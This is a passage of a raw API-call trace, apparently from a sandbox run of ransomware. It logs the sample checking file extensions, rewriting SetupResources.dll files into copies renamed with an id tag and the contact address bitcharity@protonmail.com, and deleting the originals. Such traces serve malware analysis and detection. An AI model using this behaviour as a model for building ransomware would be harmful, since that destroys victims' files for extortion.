(lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.965] lstrlenW (lpString=".doc") returned 4 [0129.965] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString=".docx") returned 5 [0129.965] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0129.965] lstrlenW (lpString=".pdf") returned 4 [0129.965] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString=".xls") returned 4 [0129.965] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString=".xlsx") returned 5 [0129.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0129.965] lstrlenW (lpString=".ppt") returned 4 [0129.965] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.965] lstrlenW (lpString=".zip") returned 4 [0129.965] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString=".rar") returned 4 [0129.965] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0129.965] lstrlenW (lpString=".bz2") returned 4 [0129.965] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0129.966] lstrlenW (lpString=".7z") returned 3 [0129.966] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString=".dbf") returned 4 [0129.966] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString=".1cd") returned 4 [0129.966] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString=".jpg") returned 4 [0129.966] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString=".doc") returned 4 [0129.966] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString=".docx") returned 5 [0129.966] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0129.966] lstrlenW (lpString=".pdf") returned 4 [0129.966] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString=".xls") returned 4 [0129.966] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString=".xlsx") returned 5 [0129.966] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0129.966] lstrlenW (lpString=".ppt") returned 4 [0129.966] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.966] lstrlenW (lpString=".zip") returned 4 [0129.966] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0129.966] lstrlenW (lpString=".rar") returned 4 [0129.966] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0129.967] lstrlenW (lpString=".bz2") returned 4 [0129.967] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0129.967] lstrlenW (lpString=".7z") returned 3 [0129.967] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0129.967] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.967] lstrlenW (lpString=".dbf") returned 4 [0129.967] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0129.967] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.967] lstrlenW (lpString=".1cd") returned 4 [0129.967] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0129.967] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.967] lstrlenW (lpString=".jpg") returned 4 [0129.967] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0129.967] Sleep (dwMilliseconds=0x64) [0130.202] Sleep (dwMilliseconds=0x64) [0130.405] Sleep (dwMilliseconds=0x64) [0130.533] Sleep (dwMilliseconds=0x64) [0130.649] Sleep (dwMilliseconds=0x64) [0130.806] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.275] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.275] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.275] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=18264) returned 1 [0131.275] CloseHandle (hObject=0x1084) returned 1 [0131.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0131.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.275] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.275] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0131.291] GetLastError () returned 0x0 [0131.291] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0131.427] WriteFile (in: hFile=0x10a8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0131.428] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.428] WriteFile (in: hFile=0x10a8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.428] SetEndOfFile (hFile=0x10a8) returned 1 [0131.428] CloseHandle (hObject=0x10a8) returned 1 [0131.429] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.430] SetEndOfFile (hFile=0x1084) returned 1 [0131.430] CloseHandle (hObject=0x1084) returned 1 [0131.430] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.431] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0131.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.431] lstrlenW (lpString=".doc") returned 4 [0131.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.431] lstrlenW (lpString=".docx") returned 5 [0131.431] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.431] lstrlenW (lpString=".pdf") returned 4 [0131.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.431] lstrlenW (lpString=".xls") returned 4 [0131.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.431] lstrlenW (lpString=".xlsx") returned 5 [0131.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.431] lstrlenW (lpString=".ppt") returned 4 [0131.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString=".zip") returned 4 [0131.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.432] lstrlenW (lpString=".rar") returned 4 [0131.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.432] lstrlenW (lpString=".bz2") returned 4 [0131.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.432] lstrlenW (lpString=".7z") returned 3 [0131.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString=".dbf") returned 4 [0131.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString=".1cd") returned 4 [0131.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString=".jpg") returned 4 [0131.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.432] lstrlenW (lpString=".doc") returned 4 [0131.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.432] lstrlenW (lpString=".docx") returned 5 [0131.432] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.432] lstrlenW (lpString=".pdf") returned 4 [0131.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.433] lstrlenW (lpString=".xls") returned 4 [0131.433] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.433] lstrlenW (lpString=".xlsx") returned 5 [0131.433] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.433] lstrlenW (lpString=".ppt") returned 4 [0131.433] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.433] lstrlenW (lpString=".zip") returned 4 [0131.433] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.433] lstrlenW (lpString=".rar") returned 4 [0131.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.433] lstrlenW (lpString=".bz2") returned 4 [0131.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.433] lstrlenW (lpString=".7z") returned 3 [0131.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.433] lstrlenW (lpString=".dbf") returned 4 [0131.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.433] lstrlenW (lpString=".1cd") returned 4 [0131.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0131.433] lstrlenW (lpString=".jpg") returned 4 [0131.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.433] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.433] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.434] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=17240) returned 1 [0131.434] CloseHandle (hObject=0x1084) returned 1 [0131.434] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0131.434] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.434] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.434] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0131.453] GetLastError () returned 0x0 [0131.453] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x4358, lpOverlapped=0x0) returned 1 [0131.957] WriteFile (in: hFile=0x109c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x4360, lpOverlapped=0x0) returned 1 [0131.958] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.958] WriteFile (in: hFile=0x109c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.958] SetEndOfFile (hFile=0x109c) returned 1 [0131.958] CloseHandle (hObject=0x109c) returned 1 [0131.961] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.961] SetEndOfFile (hFile=0x1084) returned 1 [0131.962] CloseHandle (hObject=0x1084) returned 1 [0131.962] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.962] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0131.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.963] lstrlenW (lpString=".doc") returned 4 [0131.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString=".docx") returned 5 [0131.963] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.963] lstrlenW (lpString=".pdf") returned 4 [0131.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString=".xls") returned 4 [0131.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString=".xlsx") returned 5 [0131.963] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.963] lstrlenW (lpString=".ppt") returned 4 [0131.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.963] lstrlenW (lpString=".zip") returned 4 [0131.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString=".rar") returned 4 [0131.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.963] lstrlenW (lpString=".bz2") returned 4 [0131.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.963] lstrlenW (lpString=".7z") returned 3 [0131.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.963] lstrlenW (lpString=".dbf") returned 4 [0131.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.963] lstrlenW (lpString=".1cd") returned 4 [0131.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.964] lstrlenW (lpString=".jpg") returned 4 [0131.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.964] lstrlenW (lpString=".doc") returned 4 [0131.964] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString=".docx") returned 5 [0131.964] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.964] lstrlenW (lpString=".pdf") returned 4 [0131.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString=".xls") returned 4 [0131.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString=".xlsx") returned 5 [0131.964] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.964] lstrlenW (lpString=".ppt") returned 4 [0131.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.964] lstrlenW (lpString=".zip") returned 4 [0131.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString=".rar") returned 4 [0131.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.964] lstrlenW (lpString=".bz2") returned 4 [0131.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.964] lstrlenW (lpString=".7z") returned 3 [0131.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.964] lstrlenW (lpString=".dbf") returned 4 [0131.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.965] lstrlenW (lpString=".1cd") returned 4 [0131.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0131.965] lstrlenW (lpString=".jpg") returned 4 [0131.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.965] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.965] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.965] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=15192) returned 1 [0131.966] CloseHandle (hObject=0x1084) returned 1 [0131.966] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0131.966] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0131.966] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.966] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0133.344] GetLastError () returned 0x0 [0133.344] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x3b58, lpOverlapped=0x0) returned 1 [0133.943] WriteFile (in: hFile=0x10a0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0133.944] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.944] WriteFile (in: hFile=0x10a0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0133.944] SetEndOfFile (hFile=0x10a0) returned 1 [0133.944] CloseHandle (hObject=0x10a0) returned 1 [0133.945] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.945] SetEndOfFile (hFile=0x1084) returned 1 [0133.946] CloseHandle (hObject=0x1084) returned 1 [0133.946] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.947] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0133.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.947] lstrlenW (lpString=".doc") returned 4 [0133.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.947] lstrlenW (lpString=".docx") returned 5 [0133.947] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.947] lstrlenW (lpString=".pdf") returned 4 [0133.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.947] lstrlenW (lpString=".xls") returned 4 [0133.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.947] lstrlenW (lpString=".xlsx") returned 5 [0133.947] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.947] lstrlenW (lpString=".ppt") returned 4 [0133.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString=".zip") returned 4 [0133.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString=".rar") returned 4 [0133.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString=".bz2") returned 4 [0133.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.948] lstrlenW (lpString=".7z") returned 3 [0133.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString=".dbf") returned 4 [0133.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString=".1cd") returned 4 [0133.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString=".jpg") returned 4 [0133.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.948] lstrlenW (lpString=".doc") returned 4 [0133.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString=".docx") returned 5 [0133.948] lstrcmpiW 